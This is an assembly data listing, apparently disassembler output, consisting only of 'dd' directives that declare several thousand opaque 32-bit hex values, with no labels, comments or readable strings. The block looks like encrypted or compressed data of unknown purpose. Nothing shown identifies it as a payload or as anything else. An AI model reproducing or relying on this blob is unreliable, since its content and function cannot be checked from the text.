dd 61358B72h, 74005E2h, 2568405Dh, 39121D4Ah, 49761A40h
dd 11774C26h, 61FE3912h, 6183BC4h, 77026EA2h, 0BBAD4BC1h
dd 0B9943041h, 98797D24h, 20635625h, 38E91608h, 53A93130h
dd 0C46F625Fh, 0D2BAEF31h, 0B0E14598h, 5E510143h, 0D7C54A7Dh
dd 1D871215h, 53BCD7F4h, 0C727BF76h, 68E812A5h, 3160AB4Ah
dd 1BB27E05h, 0B09BF4Dh, 2E0AA00h, 0DF29243Eh, 0FA8E25E9h
dd 5DA8D31Ch, 5A256852h, 8BA4D157h, 16FD2B90h, 8044BFC5h
dd 0BD555A02h, 5D483BF7h, 0EF0B2A5Bh, 0E1A0D587h, 8AB7C40Dh
dd 4D0152B5h, 5A245032h, 0B9D6D2F0h, 0F91542h, 46B0BA52h
dd 0A9270F24h, 0E226AC28h, 96052908h, 9BEC6D2Fh, 0F7C8EC00h
dd 0E9D329F3h, 59DFE838h, 1BCD649h, 10BBDB19h, 76B88096h
dd 811C1345h, 6EB01EE7h, 5FDE693h, 81A46203h, 98EEE26Eh
dd 0AE8CF741h, 0A0955A3Bh, 1492F6Ah, 0E4CC2681h, 38250A17h
dd 0B268C289h, 6F706200h, 82685D03h, 123E6B49h, 2DFE420Bh
dd 0C259F59Dh, 3C7AB3ECh, 9166C49Dh, 59B0843h, 62685902h
dd 9ACE6Eh, 0BEE76E0h, 676D0FBAh, 59016F5Eh, 9C8709D6h
dd 5884470h, 0E94EBD33h, 0AD57D541h, 0F0680B0Ah, 25E5C663h
dd 96F34FF6h, 3B2D3943h, 75185340h, 0E3C01694h, 0B4500807h
dd 26B286Eh, 0E174B5AAh, 0B32EA4C7h, 2B68821Dh, 7118FF6Ah
dd 64F654ECh, 0D9DFD7A1h, 0D5017E61h, 663828E9h, 704C85D0h
dd 76908C01h, 0A116026Ah, 3B65541Dh, 8DCCD9CEh, 7EF7D250h
dd 9F167AAEh, 62985A78h, 0FC789E05h, 20C12D24h, 282F2EB7h
dd 3E0BBB4Dh, 29DB31h, 59A14A89h, 0D8012D07h, 965C559h
dd 0D9DA89AFh, 7817A7B1h, 49E1F692h, 0DC620280h, 5957057Bh
dd 0B0796B13h, 858B5963h, 410B8128h, 0D4077E0Ch, 76A27EB5h
dd 65775E69h, 67170B01h, 0FB5D0E24h, 31683FCCh, 0E6231DB5h
dd 0E30BD31h, 0EBDC1F88h, 0E42ED55Bh, 40C3ECB9h, 99B95A0Dh
dd 2B505616h, 76248CE6h, 0EAE74424h, 1EADC165h, 5C53985Fh
dd 509D5496h, 513B844h, 0E717C1FFh, 1751FB2Eh, 0C329FC0Dh
dd 5FBC8BBFh, 39758C87h, 513203A0h, 50BD25AAh, 0E1609506h
dd 1C920E50h, 6A8E105h, 0FD054DEEh, 49C04A3Fh, 264C3B35h
dd 811E31E4h, 0C2E9CD01h, 92906EDBh, 76FA88F5h, 0FCEA775Bh
dd 52466B3Eh, 5A208075h, 0B55C5618h, 44C3F461h, 2B33A108h
dd 0AAB18DECh, 0B8428123h, 6CEE5C4Fh, 8F10F3Ah, 0EF82D1C5h
dd 2D7E6B8Eh, 0A156CCF9h, 8533516Bh, 4097E957h, 318BAABh
dd 2927DD8Bh, 58EB56D5h, 19D2EA89h, 2B52D90Bh, 0F21CFD48h
dd 83A1AEA0h, 0D04A3E91h, 0DB2A4F00h, 78D7F775h, 0E809783h
dd 0A8C494D9h, 0B0A2314Ah, 7E9AA1D6h, 4F1B3C15h, 0E658E369h
dd 0C6E92D52h, 8BE0880Bh, 283E4BB2h, 1AF61FC2h, 183F5125h
dd 6C686D1Ch, 0B986D197h, 0A471F5A5h, 0E45D5A42h, 1F58B58Ah
dd 6DFB014Ah, 0E91D8519h, 21EFF5B5h, 7B2F74F0h, 0E9C204A2h
dd 92E63A4Ah, 2061E59Fh, 931520B2h, 0D0885013h, 531DA8F8h
dd 4FCEDE52h, 0DA8B5AF3h, 0A9B004h, 6DFF181h, 24037BAAh
dd 0A6ED3B4Fh, 211036Dh, 24001946h, 37971479h, 93B66EE9h
dd 0FB963CBAh, 4C22CA10h, 694C172Dh, 364206EEh, 53F246Ch
dd 6DE3025Eh, 8F2DF029h, 0D6187707h, 2D25C134h, 56D42C0Ch
dd 76D11104h, 0A37506FFh, 0AD4C444Ah, 2570E0B0h, 0AB509782h
dd 6F430E2Eh, 0B795E905h, 79EFE25Dh, 0CEE9413Bh, 5EF51173h
dd 41D90F20h, 5AA43E19h, 347D555Fh, 0A8353FE0h, 0E6CEF29Dh
dd 30BB7B50h, 0E1171B7Fh, 673F0D96h, 80387C32h, 0E410A404h
dd 1B2DEE03h, 0A10C000Ah, 1481969h, 0B4C156CBh, 2C3B1523h
dd 0D10FF53Ah, 82E47AE0h, 722E01B2h, 0EEDB2D63h, 0E18D6074h
dd 72BAA54Ah, 88D23FADh, 0E0F3745Bh, 62CEEA92h, 68C26952h
dd 2FE65ADCh, 76B5A6C7h, 0C6901607h, 0B9B301E9h, 0C178A526h
dd 534A3124h, 5FFED8Fh, 8D407CA2h, 540F3E2h, 9C7DF60Eh
dd 71CE8E6Dh, 3032C660h, 5A4E66F0h, 7A2652FCh, 9D688154h
dd 253A8439h, 4B797FE4h, 373FD13Fh, 5B109CFCh, 4466CB09h
dd 3B02456Bh, 0CCF72192h, 1F3CB03Bh, 2568E9C0h, 4E7299DEh
dd 4AB549C3h, 110EBF02h, 585F15D4h, 0C18A341Ah, 4861EE1Ah
dd 0CA4BD830h, 4E34A24Ah, 0AB5E04FEh, 419E9F3h, 5B2B4678h
dd 77C6E7C2h, 48F66D62h, 27BA4517h, 639482F0h, 825BB04h
dd 0CF256E4Ch, 8278245Eh, 123B2068h, 1253FA5Fh, 0BA06F1E9h
dd 408A2088h, 7B00B2B6h, 0FE5BDA28h, 0B7E868CAh, 0B48FF0F1h
dd 80CC8010h, 0C305CECh, 2864E9E2h, 5197EA23h, 0AA014569h
dd 0EC8BEA63h, 0C040A3BBh, 753E6C2Dh, 685D0C70h, 26EF0FBDh
dd 0BD593C40h, 845AF651h, 890C35F6h, 0BA4073A2h, 53D83F28h
dd 1054A499h, 64A4E5Ch, 398FE950h, 4D7EA044h, 0EB28802Fh
dd 30A2D6B8h, 1EAB8455h, 26B45000h, 0E95CC4FEh, 0CB5F6E89h
dd 66ABC178h, 21839A3Fh, 63E984EBh, 0F75F02C6h, 4486E0DFh
dd 69D61646h, 119F004Fh, 0E9E7B871h, 93AEAD27h, 9120C138h
dd 53421080h, 0F208A8BBh, 0E4282564h, 0A71DB361h, 0B1CA71CCh
dd 57B077E4h, 0E08865B2h, 1AC65DFFh, 9DD37E4Bh, 7A42CAF3h
dd 0AFFC291Bh, 0D2693789h, 6F610999h, 64847FE1h, 9630EB85h
dd 2E6D46B0h, 4FE0906h, 0A2FEA0E9h, 93E957Bh, 84DCF675h
dd 889D8232h, 476CA689h, 0AFBD47EBh, 0ABC5D40Bh, 0BEE754F0h
dd 61188118h, 762D62F5h, 2783F048h, 94440106h, 62D4E84Eh
dd 1EC9C1ABh, 6CA67E8Ch, 0C041747Ah, 462ABB34h, 0F9B8B75Eh
dd 0EF2FE577h, 771D0235h, 61D27C59h, 2E6D6A68h, 842256D3h
dd 0C1BDE2BAh, 2758E945h, 2EDE6A2Dh, 7497A49Ah, 1D427331h
dd 1B303AC7h, 28D8BD1Ch, 0A3D8015Ah, 0E6E2968h, 69ACA6B7h
dd 8C37403h, 824586A1h, 5A7A850Ch, 0A051D430h, 140CD008h
dd 41B0E912h, 5C99BD9Ah, 0C5208111h, 17D22202h, 4390C27Fh
dd 97ECF97Ah, 2B2F4700h, 5368D101h, 1D47A416h, 80600FE5h
dd 48723558h, 36C02F4Fh, 59451F7Eh, 0A5C15C01h, 0BD369C30h
dd 5F7E55B3h, 0F072D9E7h, 0C3B7534Dh, 1A064840h, 0C0140B41h
dd 0B1445D8Bh, 0B93D74E9h, 9EB86230h, 1DA8040Bh, 5526CB82h
dd 2C30F148h, 0B3FC9D4Bh
dd 0BD207805h, 0F391AF49h, 9BDD4C95h, 5BC4BC81h, 942928DEh
dd 7B08C138h, 0A048EE95h, 0B68FF670h, 0F085C2D4h, 0A6ED8100h
dd 0E66F2FE8h, 537F78E1h, 3BB8D1FCh, 84160FC2h, 20EBF2CCh
dd 2C6AE976h, 5E70BB81h, 812601BAh, 5257EBE3h, 82EC2F2Ah
dd 66F9590Bh, 6573905Fh, 6CB30126h, 5EE9DF21h, 0ABF24536h
dd 88E07931h, 2BB95880h, 0BA132A1Eh, 0D40B6B6Bh, 0EA810BDFh
dd 21E97AE8h, 0D36E7249h, 689261FAh, 10455Eh, 522DF05Ch
dd 325B9873h, 0AAC05664h, 50123022h, 964B663h, 296D660Ch
dd 12085428h, 525D0958h, 0D2099453h, 0F63D94E2h, 0BCA85D89h
dd 0F47C499Eh, 72F74D27h, 466E0A5Ah, 7C7014Ah, 43123ED4h
dd 73B65289h, 0A7148ED9h, 0C3B47616h, 3C3F090Dh, 2CDE3C5Ah
dd 75A72233h, 0FF183302h, 0FC2EFE22h, 0C0D365BDh, 11D46AAh
dd 0D6381081h, 0BB794A75h, 427E5729h, 10C4008h, 1CF282C6h
dd 2318E6Bh, 7977103Ah, 0D2EF4528h, 0C6A0899Fh, 0B6858C7h
dd 0D930574Ah, 58672BDFh, 0FD5A6E23h, 1B0B7570h, 0FCDC98D4h
dd 17442528h, 685C0097h, 5AC93EAEh, 0F5DD9813h, 0BC05C270h
dd 0FBCBE963h, 0F6FB8CABh, 708B7BF9h, 8922752Ch, 6A00EB87h
dd 1AFB2EAEh, 0D7A8E5FAh, 6C73F280h, 28D2EA0Fh, 989ABFD4h
dd 2962551Ah, 7A2E9840h, 55A32519h, 996C301Ch, 0E6711F9Eh
dd 0D9C18ACEh, 0EA8996CEh, 0EC682504h, 0B62C0Ah, 0C0C60CEBh
dd 0B0EE03E8h, 4825E919h, 0B66A5420h, 6DBA4B51h, 12F439DDh
dd 4FF79EE4h, 0D7304D7Bh, 6E8F661Dh, 0B2EE173Ch, 575D02E4h
dd 0D1774768h, 86B89519h, 2E8CBE00h, 492D6026h, 23975B12h
dd 705B30Ah, 46D85E19h, 4017122Bh, 0FC4BC173h, 0D095BA6Bh
dd 6DBC8184h, 0EA1CA73Dh, 0C3D80C44h, 943263CDh, 26EFC4Eh
dd 945FF131h, 4A296BF4h, 0B85EB0F5h, 0D4530476h, 0AEC20171h
dd 5927CE3h, 0F81EFB90h, 0F70C9E33h, 26D9578Fh, 0C9A85B51h
dd 0CC82650Eh, 0C05FA12Bh, 9494E979h, 34D72513h, 33B0959Dh
dd 0F02D4C34h, 60DC623Eh, 28B3D1C0h, 8E7C10Fh, 5C172692h
dd 0C70CE51Dh, 4701836h, 0E950151Eh, 1DFCE18Bh, 0F2CF2068h
dd 120BB980h, 0EC20BE24h, 823C0126h, 0AFA9E947h, 3261F425h
dd 484CA963h, 0D631BC07h, 0C7CA9658h, 415FE925h, 4E305D8Ch
dd 7F19414Fh, 0DA1C8624h, 5A950A04h, 40ACE2BEh, 0C3400DADh
dd 26F07721h, 8379C7A5h, 2586319Dh, 11E18D0h, 163C4B91h
dd 22AEDB92h, 9F6652E1h, 0F73DC920h, 6A389AD9h, 19FE5D25h
dd 0CEA7A1CEh, 7E6CAE80h, 5467E9A0h, 2E5E46E1h, 0AEE22309h
dd 104B00EAh, 162B301Fh, 0E343BCE9h, 0B9BA183Ch, 0BECC9B9h
dd 0D931039Ch, 5340EB32h, 884E059Bh, 4B5DEC00h, 0B7294331h
dd 34088F08h, 7D14141Ch, 1DEDBF09h, 0EFA7730Fh, 6E7E01DEh
dd 26B66168h, 60281E8Ch, 0CB815BC4h, 9C3F03C3h, 41C050C0h
dd 2A0FB012h, 589CC21Bh, 0E24B86FEh, 41229248h, 0CA50BCh
dd 0CEFEC3B6h, 0C680EED0h, 0B9C02A24h, 0F1D76828h, 74B4080h
dd 0F6D6159h, 0F2D30A68h, 20525175h, 53D7FC0Ah, 304C9D7Fh
dd 3418EA13h, 83BD3Bh, 52565F54h, 5B469FBAh, 0EAC12h, 0DDF28103h
dd 0CF6A264Eh, 0ABE7050Ch, 8DE1CF7Bh, 2FC96DDEh, 5BC3BAF0h
dd 525A3360h, 1154ACD2h, 0FAE87C2Fh, 94D49568h, 2A0223D6h
dd 5764B907h, 2402F540h, 4A581B48h, 11B88185h, 1F001BD4h
dd 214A2A5Eh, 0C1185FFDh, 20608EDh, 2DFB9757h, 2A338100h
dd 9A22E901h, 505201BFh, 0CB658368h, 6D837A5Ah, 0BA1B0FB8h
dd 3ACC37CFh, 1A12AB94h, 4AA0124Fh, 55B2407Ch, 441CBD07h
dd 0EED74576h, 0E5E450D2h, 2BBA883Fh, 236F025h, 41C9B96Ah
dd 0F95D5B52h, 0F65ECB17h, 4C2557Ah, 0DB00C79h, 9E1E77E9h
dd 0A2E15325h, 0C593805Dh, 58BF3D25h, 0EA29F5Bh, 38557CDFh
dd 13E8C1EAh, 0A8C83112h, 26701427h, 185D3BB9h, 5B302027h
dd 0D763168h, 4876765h, 0F7B0F3ACh, 709E50F9h, 7C477F2h
dd 4F81F159h, 0E93D68AEh, 0B8EC3A5Bh, 5AA068Ah, 81610ACDh
dd 2AF0984Eh, 5AC1A2F3h, 2AC6EB80h, 0BD5E66E8h, 5A68825Ch
dd 2DC2661Bh, 8EFCF8B2h, 50660186h, 68F540EAh, 4C9B30F6h
dd 9507220Ch, 2C0348E7h, 0BC279C13h, 3FE2C5C7h, 7B1B99EFh
dd 3C630F2h, 0C8256323h, 69E0510Fh, 9C0F408h, 83D64F35h
dd 0FC88005Ah, 0C064526Eh, 963B150Ch, 0CA48012Fh, 29084059h
dd 74CF0EBFh, 15D65D17h, 7855CF23h, 0D507094Eh, 0DC24EB88h
dd 592773F9h, 1E9BAC8h, 0CA81F99Ch, 7175797Eh, 36F85C80h
dd 0D789A75Dh, 20685A3Eh, 4B93904Bh, 41BED839h, 89D6029Fh
dd 45FB74D5h, 4377AAF8h, 4EFCD8B4h, 33CE68C3h, 4BC1572Dh
dd 68FBE467h, 2B5AE93Ch, 9552A6A0h, 5CD0CCFEh, 0B1802BE9h
dd 0AB9E0A87h, 6554AD3Eh, 48C4B08h, 8206E2C1h, 8580024Ch
dd 48293735h, 5F6660C7h, 6389B8B2h, 0EC8A22h, 0B51C4D68h
dd 405B4325h, 8058E076h, 0F60BB850h, 0DD0B0C03h, 1D80B2BAh
dd 0BC8E4B9Ch, 8987E913h, 6907AA3h, 252CFE92h, 32CE16E9h
dd 546E8C01h, 482A2F90h, 0BE067B43h, 38CF6C0Ah, 32C092B8h
dd 202405BDh, 19A908E2h, 3FE6C5FDh, 0FEC61293h, 68054670h
dd 56AB3A23h, 2B553D19h, 6A5735EFh, 2F21817Ch, 5BC95BD8h
dd 7F17DBC1h, 0ACBD1C77h, 0A0708E83h, 0C1B8F3A4h, 0B84AE957h
dd 7482EE04h, 0BCED5093h, 4B11096Bh, 0A5685330h, 0FCA67E5Bh
dd 0E8CD4F7Ah, 1E0D310h, 0F8734F7Bh, 36371370h, 550296F7h
dd 10826857h, 705F34E1h, 0DAA5E506h, 0A4D1F60Fh, 16915C31h
dd 3E4D0C4Ch, 0BC307709h, 0E00197BFh, 2E47FA68h, 585EF43Ch
dd 0FE4BFC57h, 59895679h, 0B150AEE9h, 6A1E3576h, 0B28878C4h
dd 0CDBB017Fh, 3065BC58h, 0F9230CDh, 5127B1B4h, 85B081F7h
dd 0BE30F3E9h, 601CA6CDh, 581572C0h, 0E378BF57h, 60050DCFh
dd 533A8675h, 31B43BBBh, 207682Ch, 213D0924h, 550805Fh
dd 0A0F625Eh, 2DC80174h, 3DE90607h, 54E871F7h, 87BB18B5h
dd 5A048306h, 0A394F5F2h, 0B0896BE0h, 6147297Ch, 0A88549DBh
dd 2BD3291Ah, 0CAE475D4h, 6B356615h, 5A511DD3h, 22F63F8Eh
dd 0B353AD54h, 0AC91E576h, 0EF5F286Fh, 0CF27EC31h, 239A743Ah
dd 18401598h, 0A7273475h, 5DEA0142h, 9974CF29h, 712C2527h
dd 0A01B947Fh, 20E951B5h, 7CA1EE8Ch, 0D5A3DB87h, 4DBAF5D9h
dd 18C0699Bh, 0B0754CF1h, 1222F8A1h, 0A030E534h, 375FEECAh
dd 0B79519B9h, 28A61F8Bh, 68122158h, 0EC941ABh, 915715E0h
dd 7B16BC0Dh, 0ECC11950h, 0CDAE0440h, 7ECDA5D0h, 86F82D54h
dd 3E6DC20h, 7918C3BEh, 0BA8D4614h, 62778991h, 0F6D81BE5h
dd 0D11612CFh, 6209AF22h, 8B3758FFh, 0F402C3CAh, 6ECD8100h
dd 3D5BEC1Fh, 3B02D2ACh, 0EE312DACh, 7D7F40D5h, 0ADBF0AFBh
dd 0BF6D601h, 18D7EB20h, 8394B830h, 7AE68EE9h, 9AFD62CCh
dd 0D05D4D37h, 8A10159Fh, 0D2595B1Dh, 0A79B5D13h, 0E63030EBh
dd 0B4BE14C5h, 6731275Bh, 450B655Eh, 90DC7120h, 4C7A54EDh
dd 7A245CB4h, 0A2508934h, 900CB5A8h, 9EAFF19h, 0BB72E339h
dd 0F40D50FCh, 0B27A1AC4h, 84EAE58Fh, 8BA9F996h, 16E2E129h
dd 2D02473Ch, 5DA70336h, 62901140h, 0CC8F3AAh, 0F9B5F4A6h
dd 0F1D93956h, 0C416F94Ah, 0AC16E5E1h, 3F1F3A08h, 29BECE01h
dd 0DA4B2176h, 330264DDh, 0D81B2E36h, 50FC06B9h, 0F16DBFDEh
dd 6FAF692Eh
dd 0F0315F05h, 1033DBD0h, 0ED3F7CFFh, 845EEE1h, 0AE9642F2h
dd 99387C29h, 6859CEB0h, 353ED32Eh, 0F82AE3C2h, 0FCEA7768h
dd 62FD9E68h, 5E041B69h, 634D31ADh, 9BEBD70h, 12AD8220h
dd 9C3315Dh, 36E5F7Ch, 899717F6h, 28BC7C7Ch, 801B401Eh
dd 2352C62Fh, 2833F314h, 2694E169h, 0E14AF9h, 406E5682h
dd 1D97CD89h, 2EA220Dh, 0C7E95557h, 6E560115h, 4645342h
dd 2E85C158h, 32D5FE1Ah, 167B56ABh, 0B3A3C416h, 540500BDh
dd 29799322h, 72D51E8h, 6A68F384h, 0FD39CD26h, 0CB4F2059h
dd 0B2CDE04Eh, 9D7C29CEh, 0D07BE909h, 0F2055E55h, 2CC5DE19h
dd 43811E36h, 0A333F269h, 10478F10h, 5D2563C2h, 89D9255h
dd 0B893FCF5h, 6F48601h, 29C329h, 0F931C9Eh, 0CBC26F72h
dd 890B951h, 784AA3E9h, 1299AF61h, 59605302h, 5C581C07h
dd 3CBC10E4h, 8065B603h, 6041AF6h, 28E40411h, 48478CC3h
dd 0E3C56790h, 0AE77017Bh, 3BDA0D22h, 34BB81C5h, 153B331h
dd 0DD792A68h, 0C03A5E1Ch, 0E906EE60h, 5D004B4Ah, 127FE381h
dd 0A10B5E27h, 556D5098h, 0D60B6851h, 0F02EE025h, 5530EF8h
dd 0CD01FB5h, 0C23D744h, 24BA12AFh, 211FD0Dh, 250AB9E5h
dd 86DA6071h, 7FC70504h, 0BA158CE9h, 2B99A38h, 2F451E61h
dd 8AF8C5E9h, 891D7B9Dh, 0CE5708C7h, 0B85F4B81h, 8AEAF4E0h
dd 755C27D2h, 8A8D29Eh, 0F5096853h, 0F207FB60h, 706DFEE0h
dd 0F0569F3Eh, 95E36178h, 0B03E35E4h, 0D04F2576h, 0E9920EE1h
dd 6915AF70h, 474E2A79h, 0AC2D40FDh, 0F2C6FE3Ah, 0F328AE02h
dd 520D2E9h, 0C56E5FBDh, 0C11D344Fh, 0A71CE31Ah, 44977F20h
dd 9012E7A9h, 1C65D354h, 97949BB6h, 66E607E3h, 0D9E744E8h
dd 95EC0875h, 4EE2801Fh, 0EAA7C2FEh, 26EFD223h, 68388790h
dd 4C298627h, 45D60986h, 15F8224Ch, 3BFFB281h, 2B2FB11h
dd 91BE0BBBh, 8947C2CEh, 68624020h, 40605D3Fh, 44490E81h
dd 0BE296B4Eh, 0C122006Fh, 0A2361CCh, 3F4026B0h, 595E775Dh
dd 0FC4B7E1Dh, 9BED5045h, 0B5AD2EE1h, 0AEF68B8Eh, 0DA420E2Dh
dd 24736518h, 34B0AD3Fh, 5D828FCEh, 5EF5CAB0h, 52097495h
dd 0DD219C52h, 32A4ADF2h, 8D8DBA33h, 0C5532C3Fh, 38B5CA70h
dd 821293C3h, 6F1D2F40h, 316CDD03h, 0B0355AD0h, 0C199A728h
dd 0A362EB6h, 28C8BC58h, 0F49D08EDh, 4DE947D9h, 20F47E9Dh
dd 4F3E4081h, 9037D89Fh, 1FA120D0h, 2B556871h, 338E051h
dd 0BF7D16B7h, 3960C7A0h, 1254EFFh, 0A022F17Ch, 9EE9170Ch
dd 2E72291Fh, 6584ABB9h, 0F7B2D1A3h, 6168CCF1h, 0EF90C4Fh
dd 0CE195C4h, 9C8A1628h, 0A5D04982h, 61759634h, 558BC6C1h
dd 0D461BD01h, 29738CFh, 6CEAB7B2h, 1FE40055h, 0BEB81C1Eh
dd 28126A05h, 0A1E4C831h, 0BF8E6044h, 82FDF0EAh, 0C6095E28h
dd 1C08317h, 921A730Eh, 783F5D7h, 0F59984C5h, 0A9AECCE8h
dd 0C37978B0h, 0D4E21C86h, 495D74FAh, 0C1259E5Ah, 0A67A5550h
dd 0E3EE84FCh, 0CED228FFh, 0C683A1BFh, 73CD2FC3h, 137BAE70h
dd 0EF36F40Ch, 0D90F9ECAh, 0A8D7D779h, 96BAE11Ah, 10712A6h
dd 0AE6167C7h, 0CBE42F1Bh, 33B33EEAh, 0D47677ADh, 0DA5F08A2h
dd 0BEC57EE2h, 0EFC26011h, 40122B31h, 8FF92768h, 0AFFC1F85h
dd 68F9DB39h, 0BEADFCCAh, 16783DF2h, 0C8A75D3Eh, 5A057F81h
dd 0E830C142h, 0B5BEAD88h, 0FB52C989h, 65688512h, 10ADF360h
dd 0A94F86CEh, 521200E1h, 993575A6h, 0D608FC49h, 4D34051Ah
dd 561D21CEh, 36B9018Eh, 0BA17D468h, 0F8312ADh, 0B95ADB5Eh
dd 4931527Fh, 0D858B434h, 97135713h, 8B5A0044h, 35044028h
dd 37F45BF3h, 2A649DFCh, 0C65EFFD6h, 4D730983h, 0EA86D93Dh
dd 7AF2A63Fh, 4D0EB34Ah, 0F8D4CB5Ah, 3272BF16h, 4B0B1959h
dd 1A6B50ECh, 0D09D135Fh, 764069A0h, 20F1034Dh, 49CADC37h
dd 62D37207h, 0EFD086C2h, 4EB611DAh, 11945A4Eh, 10CF547h
dd 12D622EFh, 0AE03257Bh, 9FE958D0h, 3024C2CBh, 0FF8558E7h
dd 0E20BD7C0h, 8101493Ah, 44F45BF2h, 0D6891234h, 2574005Ah
dd 2D8EEFE3h, 2F019D09h, 7E6AD561h, 1B0AEAC0h, 2AD64C58h
dd 5276F3D9h, 10E7D12h, 7F1464E2h, 2C899DE1h, 14D1766Ch
dd 4C4D10EFh, 13242658h, 9F25AAD3h, 0A50C83D3h, 2D0A37h
dd 30D47829h, 0C568D801h, 38234663h, 0A3FF847Dh, 0C3A02520h
dd 0EDD81AA6h, 0BDC003FFh, 31F06EF2h, 3DAAE912h, 0D1A96034h
dd 40989340h, 0EB3928E7h, 0B0022A80h, 0C2555E9Fh, 0C7A9D72Ch
dd 3EAA82FDh, 0F6987F88h, 7AB40FA6h, 982B5A79h, 0C8419596h
dd 0F6F55120h, 9221F4EFh, 0B378A1DCh, 23F1A4h, 872A176Bh
dd 6DF47FAh, 0CD49ECD6h, 52A4D65Dh, 6AB18160h, 347DB626h
dd 0B3292702h, 3402406Dh, 760C2613h, 11F40738h, 3801948h
dd 2DE50306h, 0D1DA2128h, 0CBB4CB7Dh, 0D86F4A83h, 4F643E2Ah
dd 5F011112h, 0D008A848h, 0FE4F1474h, 11E98060h, 0B1259787h
dd 6683D1B0h, 0F341FA5Bh, 6C4AEDC8h, 585E251Ch, 9F1E70E3h
dd 535070FEh, 36110C68h, 93A80D57h, 0B22D5550h, 3523615Eh
dd 0CD2A4B5Ch, 0F442422Ah, 29135709h, 0A4F684D2h, 0A9CFD25h
dd 9BF9E92Eh, 9FD7D8ADh, 6682D97Eh, 61D0F659h, 0FE0123F5h
dd 0E3ED46C2h, 0F26F2F6h, 0B92857C6h, 0BB90EEF4h, 60E90B80h
dd 54747E4Ah, 12A98ABEh, 34421BE9h, 0F75AD529h, 7E97F5C6h
dd 22DFD2DAh, 0F1748B7Ah, 0AEC2E4D0h, 38C42852h, 0FC3641EEh
dd 75794753h, 6DDA2059h, 0A2216928h, 0BDDE076Fh, 0D5460683h
dd 3E1F909h, 27907A4h, 4D2C2F92h, 301299ACh, 4072C831h
dd 6363FA48h, 8061B100h, 0D6841E1h, 1FD77C53h, 0F349CCB3h
dd 0B38E7D10h, 0BE1EE62Ch, 27669303h, 48F031C4h, 4923F50h
dd 2E4F3D9h, 0F56CD968h, 129E79CCh, 552E6878h, 53F5163Ah
dd 3D48E728h, 0F5127948h, 25DB90CBh, 125FA735h, 7B7C15F8h
dd 579B2DFFh, 8A9F807Dh, 0C0C944A0h, 3C055B3Ch, 2023975h
dd 7970BD55h, 0F5B9408Bh, 74563FCAh, 5DE80101h, 6F1FDF68h
dd 6D5EED30h, 53707ABh, 4DB3469Fh, 13CE042Ah, 0F2855608h
dd 894F2DB2h, 0A48EC818h, 0C278B98h, 9F487806h, 0C4F641F2h
dd 6BFAD3B5h, 640925F3h, 119857B0h, 16BAFFF7h, 0B774210Fh
dd 9DD0AA65h, 5ECC7712h, 4D095C85h, 52D488C3h, 0D5A8E29Bh
dd 0C25ADCE9h, 0F4700F97h, 28151435h, 2CBBD901h, 45EF95F7h
dd 2826BCFAh, 4B736F59h, 5A6694BFh, 0B7E91029h, 0F6650A07h
dd 367FBE15h, 6E205616h, 3FB6ECC9h, 0EA0B80C7h, 0F201F530h
dd 27012F03h, 3CFF7BC8h, 0A74A26B4h, 2F3EC202h, 0BCB35469h
dd 12429696h, 0E94F029Bh, 0E475E491h, 215E0BC6h, 0D7D14CEh
dd 443C50A5h, 90006FADh, 500C0868h, 33CE0481h, 0C443A877h
dd 90E973h, 90453CF2h, 0FAD729B0h, 44BE69A8h, 0E70B3ED8h
dd 84E57D41h, 0B0BFA109h, 569FC425h, 0CED77AEAh, 0DB782D89h
dd 0C027D6FBh, 4AD24A80h, 8205074h, 4238AF4Fh, 64A55955h
dd 8FADA605h, 0C4D1C062h, 354FDA75h, 128274A1h, 180F1CF8h
dd 0F405D4E1h, 6EEE265Dh, 1D92507h, 17B04FCDh, 63A041h
dd 5A71FD0Dh, 0DE4CE960h, 0A4B99A9Dh, 0D4A37AA6h, 9902113Ah
dd 0FDAE930h, 74C026D0h, 0CBE2913Fh, 58C72589h, 5E9D91D2h
dd 0AE0989E3h, 54F995Ch, 9FE3EFCBh, 99165516h, 349561DCh
dd 8203BE65h, 0F708E607h, 4018E1DEh, 0AB96316Fh, 7F8005B0h
dd 169C843Dh, 81CF2980h
dd 39B96FEh, 899A1E31h, 566A8AFDh, 0F8EB96C4h, 45A4386Bh
dd 0C40605D7h, 0EF11B551h, 7808A892h, 287316C0h, 26B91BFDh
dd 40D9428Eh, 25875A48h, 3F62C57h, 2CA604F8h, 283CBEF0h
dd 57FC74D8h, 9E9DBD92h, 86B62D65h, 80493DDCh, 835C4674h
dd 9801762Ch, 0E908805Ch, 27FD9EC5h, 653366FEh, 0F18FEBBFh
dd 0A27A6F3Fh, 0DC028684h, 0F0EE4F73h, 2E054AB4h, 0F229D627h
dd 25104BBDh, 0BDA05A04h, 6206286Eh, 0E5EA78F8h, 0EEED0844h
dd 6B976C18h, 757C6BC2h, 0AD284C61h, 88E5364Eh, 0E90B0429h
dd 3059C547h, 58190819h, 92ACE22Eh, 25C29EAFh, 0BC19D55Eh
dd 7843A94h, 24F94B09h, 4291FF20h, 0C504C8C9h, 81DEB277h
dd 5140102Dh, 37825CCh, 0E94AAB60h, 0DB041C2Ch, 0FD4DF7F1h
dd 7FC055C7h, 0B745E343h, 0EA751B72h, 20C46C17h, 7F3FDEC1h
dd 0DFF9D86Fh, 4DC82200h, 0FD08D7BFh, 4CE09FE0h, 2AC071ACh
dd 0E1CD815Dh, 4DB82632h, 3E40254Fh, 391E76BBh, 168D1D40h
dd 936E5756h, 0D2E1E6A2h, 9FA86021h, 51440D09h, 151AD409h
dd 6809E2B5h, 10C627B3h, 98324420h, 0BABF4A08h, 0E6584049h
dd 0D228F101h, 517B5B2Fh, 2B143E5h, 93E6D17Fh, 5D252AE8h
dd 0DA84E5E9h, 39D71495h, 0F389E12h, 0C653B4D3h, 238F0CABh
dd 20B050Ch, 79296E28h, 5B604907h, 83C92BC5h, 67E47FC7h
dd 55F1186Bh, 5B8163E7h, 44EBE950h, 12D0B250h, 0BA7A4EE0h
dd 9BEF7705h, 42232C3h, 62040DA8h, 0AF2BD403h, 10B4150h
dd 53CEBA52h, 2660164Fh, 693D1688h, 0AC0AEB68h, 560396D2h
dd 9A45302h, 95668038h, 4EB6A282h, 4D252475h, 0BFEA3ABh
dd 85769004h, 6006A84h, 0C013B5C7h, 24B64Eh, 0F7101535h
dd 0A1625D0h, 0CC043812h, 4013E0A3h, 0B1354000h, 709FE232h
dd 0A080B897h, 1819EEECh, 0E405CE66h, 6CCF0685h, 11E92431h
dd 0BF3F00AFh, 7307665h, 140384B0h, 836FFA13h, 40FEFCEFh
dd 0E9F3C724h, 0FDF590C3h, 899C825Fh, 0D819DE76h, 0B1294E72h
dd 7E0B0692h, 332560EEh, 4AFECEh, 34686E31h, 0E91AE889h
